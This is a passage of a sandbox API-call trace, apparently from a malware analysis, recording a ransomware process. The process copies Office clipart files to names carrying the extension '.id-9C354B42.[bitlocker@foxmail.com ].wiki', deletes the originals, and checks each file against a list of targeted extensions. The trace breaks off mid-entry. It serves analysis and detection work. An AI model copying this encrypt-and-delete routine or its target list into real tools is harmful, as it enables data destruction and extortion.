CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.506] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=14174) returned 1 [0190.506] CloseHandle (hObject=0x1e0) returned 1 [0190.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0190.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.507] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.507] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.508] GetLastError () returned 0x0 [0190.508] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x375e, lpOverlapped=0x0) returned 1 [0190.539] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3760, lpOverlapped=0x0) returned 1 [0190.541] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.541] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.541] SetEndOfFile (hFile=0x218) returned 1 [0190.541] CloseHandle (hObject=0x218) returned 1 [0190.541] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.541] SetEndOfFile (hFile=0x1e0) returned 1 [0190.542] CloseHandle (hObject=0x1e0) returned 1 [0190.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0190.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.543] lstrlenW (lpString=".doc") returned 4 [0190.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString=".docx") returned 5 [0190.543] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.543] lstrlenW (lpString=".pdf") returned 4 [0190.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString=".xls") returned 4 [0190.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.543] lstrlenW (lpString=".xlsx") returned 5 [0190.543] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.543] lstrlenW (lpString=".ppt") returned 4 [0190.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.543] lstrlenW (lpString=".zip") returned 4 [0190.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.543] lstrlenW (lpString=".rar") returned 4 [0190.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString=".bz2") returned 4 [0190.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString=".7z") returned 3 [0190.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.543] lstrlenW (lpString=".dbf") returned 4 [0190.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.544] lstrlenW (lpString=".1cd") returned 4 [0190.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.544] lstrlenW (lpString=".jpg") returned 4 [0190.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.544] lstrlenW (lpString=".doc") returned 4 [0190.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.544] lstrlenW (lpString=".docx") returned 5 [0190.544] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.544] lstrlenW (lpString=".pdf") returned 4 [0190.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.544] lstrlenW (lpString=".xls") returned 4 [0190.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.544] lstrlenW (lpString=".xlsx") returned 5 [0190.544] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.544] lstrlenW (lpString=".ppt") returned 4 [0190.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.544] lstrlenW (lpString=".zip") returned 4 [0190.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.544] lstrlenW (lpString=".rar") returned 4 [0190.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.544] lstrlenW (lpString=".bz2") returned 4 [0190.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.544] lstrlenW (lpString=".7z") returned 3 [0190.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.545] lstrlenW (lpString=".dbf") returned 4 [0190.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.545] lstrlenW (lpString=".1cd") returned 4 [0190.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0190.545] lstrlenW (lpString=".jpg") returned 4 [0190.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.545] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.545] lstrlenW (lpString="J0090027.WMF") returned 12 [0190.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.545] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=21268) returned 1 [0190.545] CloseHandle (hObject=0x1e0) returned 1 [0190.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0190.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.546] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.546] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.546] GetLastError () returned 0x0 [0190.546] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x5314, lpOverlapped=0x0) returned 1 [0190.601] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5320, lpOverlapped=0x0) returned 1 [0190.602] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.602] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.602] SetEndOfFile (hFile=0x218) returned 1 [0190.602] CloseHandle (hObject=0x218) returned 1 [0190.602] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.602] SetEndOfFile (hFile=0x1e0) returned 1 [0190.603] CloseHandle (hObject=0x1e0) returned 1 [0190.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0190.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.604] lstrlenW (lpString=".doc") returned 4 [0190.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.604] lstrlenW (lpString=".docx") returned 5 [0190.604] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0190.604] lstrlenW (lpString=".pdf") returned 4 [0190.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.604] lstrlenW (lpString=".xls") returned 4 [0190.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.604] lstrlenW (lpString=".xlsx") returned 5 [0190.604] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0190.604] lstrlenW (lpString=".ppt") returned 4 [0190.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.604] lstrlenW (lpString=".zip") returned 4 [0190.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.604] lstrlenW (lpString=".rar") returned 4 [0190.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.604] lstrlenW (lpString=".bz2") returned 4 [0190.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.604] lstrlenW (lpString=".7z") returned 3 [0190.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.604] lstrlenW (lpString=".dbf") returned 4 [0190.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.605] lstrlenW (lpString=".1cd") returned 4 [0190.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.605] lstrlenW (lpString=".jpg") returned 4 [0190.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.605] lstrlenW (lpString=".doc") returned 4 [0190.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.605] lstrlenW (lpString=".docx") returned 5 [0190.605] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0190.605] lstrlenW (lpString=".pdf") returned 4 [0190.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.605] lstrlenW (lpString=".xls") returned 4 [0190.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.605] lstrlenW (lpString=".xlsx") returned 5 [0190.605] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0190.605] lstrlenW (lpString=".ppt") returned 4 [0190.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.605] lstrlenW (lpString=".zip") returned 4 [0190.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.605] lstrlenW (lpString=".rar") returned 4 [0190.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.605] lstrlenW (lpString=".bz2") returned 4 [0190.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.605] lstrlenW (lpString=".7z") returned 3 [0190.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.605] lstrlenW (lpString=".dbf") returned 4 [0190.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.606] lstrlenW (lpString=".1cd") returned 4 [0190.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0190.606] lstrlenW (lpString=".jpg") returned 4 [0190.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.606] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.606] lstrlenW (lpString="J0090089.WMF") returned 12 [0190.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.606] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=15760) returned 1 [0190.606] CloseHandle (hObject=0x1e0) returned 1 [0190.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20 [0190.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.607] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.607] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.607] GetLastError () returned 0x0 [0190.607] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3d90, lpOverlapped=0x0) returned 1 [0190.645] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0190.646] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.646] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.646] SetEndOfFile (hFile=0x218) returned 1 [0190.647] CloseHandle (hObject=0x218) returned 1 [0190.647] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.647] SetEndOfFile (hFile=0x1e0) returned 1 [0190.647] CloseHandle (hObject=0x1e0) returned 1 [0190.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0190.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.648] lstrlenW (lpString=".doc") returned 4 [0190.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.648] lstrlenW (lpString=".docx") returned 5 [0190.648] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.648] lstrlenW (lpString=".pdf") returned 4 [0190.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.648] lstrlenW (lpString=".xls") returned 4 [0190.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.648] lstrlenW (lpString=".xlsx") returned 5 [0190.648] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.648] lstrlenW (lpString=".ppt") returned 4 [0190.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.648] lstrlenW (lpString=".zip") returned 4 [0190.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.648] lstrlenW (lpString=".rar") returned 4 [0190.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.648] lstrlenW (lpString=".bz2") returned 4 [0190.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.649] lstrlenW (lpString=".7z") returned 3 [0190.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.649] lstrlenW (lpString=".dbf") returned 4 [0190.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.649] lstrlenW (lpString=".1cd") returned 4 [0190.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.649] lstrlenW (lpString=".jpg") returned 4 [0190.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.649] lstrlenW (lpString=".doc") returned 4 [0190.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.649] lstrlenW (lpString=".docx") returned 5 [0190.649] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.649] lstrlenW (lpString=".pdf") returned 4 [0190.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.649] lstrlenW (lpString=".xls") returned 4 [0190.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.649] lstrlenW (lpString=".xlsx") returned 5 [0190.649] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.649] lstrlenW (lpString=".ppt") returned 4 [0190.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.649] lstrlenW (lpString=".zip") returned 4 [0190.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.649] lstrlenW (lpString=".rar") returned 4 [0190.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.650] lstrlenW (lpString=".bz2") returned 4 [0190.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.650] lstrlenW (lpString=".7z") returned 3 [0190.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.650] lstrlenW (lpString=".dbf") returned 4 [0190.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.650] lstrlenW (lpString=".1cd") returned 4 [0190.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0190.650] lstrlenW (lpString=".jpg") returned 4 [0190.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.650] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.650] lstrlenW (lpString="J0090781.WMF") returned 12 [0190.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.651] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5314) returned 1 [0190.651] CloseHandle (hObject=0x1e0) returned 1 [0190.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft 